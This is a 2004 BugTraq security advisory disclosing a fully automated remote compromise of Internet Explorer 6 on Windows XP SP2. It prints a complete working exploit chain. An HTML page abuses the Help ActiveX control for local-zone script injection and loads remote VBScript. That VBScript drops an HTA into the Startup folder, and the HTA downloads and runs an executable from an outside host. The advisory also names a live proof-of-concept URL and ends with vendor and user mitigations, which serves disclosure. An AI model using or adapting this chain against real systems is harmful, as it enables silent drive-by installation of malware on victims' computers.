BugTraq
Microsoft Internet Explorer SP2 Fully Automated Remote Compromise Dec 25 2004 08:31PM
Paul (paul greyhats cjb net)


Microsoft Internet Explorer SP2 Fully Automated Remote Compromise

Dec, 21 2004

Vulnerable

----------

- Microsoft Internet Explorer 6.0

- Microsoft Windows XP Pro SP2

- Microsoft Windows XP Home SP2

Not Tested

------------------------

- Microsoft Windows 98

- Microsoft Internet Explorer 5.x

- Microsoft Windows 2003 Server

Severity

---------

Critical - Remote code execution, no user intervention

Intro

------

Although hundreds of millions of dollars have been spent on securing SP2, perfection is impossible. Through the joint effort of Michael Evanchik (http://www.michaelevanchik.com) and Paul from Greyhats Security (http://greyhats.cjb.net), a very critical vulnerability has been developed that can compromise a user's system without the need for user interaction besides visiting the malicious page. The vulnerability is not actually a vulnerability in itself, but rather it is uses multiple known holes in SP2 including Help ActiveX Control Related Topics Zone Security Bypass Vulnerability and Help ActiveX Control Related Topics Cross Site Scripting Vulnerability.

Tech Stuff and Explanation

--------------------------

1. Create a webpage with the following code:

sp2rc.htm

---------------------------------------------------------------------

<OBJECT id="localpage" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%

style="position:absolute;top:140;left:72;z-index:100;" codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">

<PARAM name="Command" value="Related Topics, MENU">

<PARAM name="Button" value="Text:Just a button">

<PARAM name="Window" value="$global_blank">

<PARAM name="Item1" value="command;file://C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.ht
m">

</OBJECT>

<OBJECT id="inject" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%

style="position:absolute;top:140;left:72;z-index:100;" codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">

<PARAM name="Command" value="Related Topics, MENU">

<PARAM name="Button" value="Text:Just a button">

<PARAM name="Window" value="$global_blank">

<PARAM name="Item1" value='command;javascript:execScript("document.write(\"<script language=\\\"vbscript\\\" src=\\\"http://freehost07.websamba.com/greyhats/writehta.txt\\\"\"+Strin
g.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'>

</OBJECT>

<script>

localpage.HHClick();

setTimeout("inject.HHClick()",100);

</script>

---------------------------------------------------------------------

Explanation of above code:

The first object (id: localpage) tells hhctrl.ocx to open a help popup window to the location C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm. This file was chosen because it is treated as the local zone and it doesn't have any script to mess us up. On some computers an error is shown before the popup. This is the user's only chance to prevent the vulnerability from working. If the user were to force his computer to shut down at this point, the user would be unaffected by the exploit.

The second object (id: inject) tells the help popup to navigate to a javascript protocol, which executes. Thus, cross site scripting has just taken place. A script tag that uses a remote file is written to the page, and writehta.txt (below) is executed in the unsecured local zone.

In the script, HHClick is able to be used to automate the vulnerability. This is more effective than the previously described method of requiring a user to click on a button.

2. Writehta.txt uses adodb recordset to write Microsoft Office.hta to the user's startup folder. See Michael Evanchik's analysis of the drag and drop vulnerability for an explanation on adodb recordset.

writehta.txt

---------------------------------------------------------------------

Dim Conn, rs

Set Conn = CreateObject("ADODB.Connection")

Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _

"Dbq=http://www.malware.com;" & _

"Extensions=asc,csv,tab,txt;" & _

"Persist Security Info=False"

Dim sql

sql = "SELECT * from foobar.txt"

set rs = conn.execute(sql)

set rs =CreateObject("ADODB.recordset")

rs.Open "SELECT * from foobar.txt", conn

rs.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta", adPersistXML

rs.close

conn.close

window.close

---------------------------------------------------------------------

3. f00bar.txt (thanks malware for hosting this file) is the file requested by the adodb recordset (again, read the drag and drop analysis at www.michaelevanchik.com for an explanation on how this works and why the the f00bar.txt looks like it does). Because there is absolutely no limit on what you can do in an hta file, an old, yet effective method of requesting and saving a file to the user's hd is used. From that, a wscript shell is created and used to run the program. And now, ladies and gentlemen, we have compromised the user's machine.

f00bar.txt

---------------------------------------------------------------------

"meaning less shit i had to put here"

"<script language=vbscript> crap = """

""": on error resume next: crap = """

""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""

""" : o.open ""GET"",""http://freehost07.websamba.com/greyhats/malware.exe"",False : crap="""

""" : o.send : crap="""

""" : set s = createobject(""adodb.stream"") : crap="""

""" : s.type=1 : crap="""

""" : s.open : crap="""

""" : s.write o.responseBody : crap="""

""" : s.savetofile ""C:\malware.exe"",2 : crap="""

""" : Set ws = CreateObject(""WScript.Shell"") : crap="""

""" : ws.Run ""C:\malware.exe"", 3, FALSE : crap="""

"""</script> crap="""

---------------------------------------------------------------------

4. Upload hhtctrl.ocx for the computers that don?t happen to have this control. All XP's seem to have this by default, some win2k3's do not (according to Michael Evanchik)

Proof of Concept?

------------------

- http://freehost07.websamba.com/greyhats/sp2rc.htm

- If an error is shown, press OK. This is normal.

- Notice in your startup menu a new file called Microsoft Office.hta. When run, this file will download and launch a harmless executable (which includes a pretty neat fire animation)

Vendor Recommendations

----------------------

- Like Michael Evanchik said in his previous analysis, Microsoft needs to apply XP Service Pack 2's local zone lockdown to .HTA files as well.

- This might be a little farfetched, but it would solve a lot of problems: Take out the startup folder and only support running files during startup through the registry. The startup folder is a major part of this vulnerability and I can almost gaurantee it will be used for another remote compromise.

- Microsoft could possibly take HTA files out altogether. I have not seen them used for anything beyond hacking.

- No vulnerability is too small or too insignificant to be taken seriously. Treat every vulnerability as if it could be dangerous.

User Recommendations

---------------------

- Disable hta files.

- Get yourself antivirus software. I recommend symantic because once they get their lazy asses off the couch and fix some of this stuff you will be a lot better off.

- Disable active scripting in Internet Explorer. If nothing else, do this.

- Do not use Internet Explorer, use Mozilla Firebird (now known as FireFox www.mozilla.org)

Credit

------

Paul from Greyhats

Michael Evanchik

Http equiv (thanks for allowing me to use your server for f00bar.txt)

Greets

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- Liu Die Yu (all the work you've done is amazing)

Contact

-------

paul (at) greyhats.cjb (dot) net [email concealed]

http://greyhats.cjb.net

http://michaelevanchik.com

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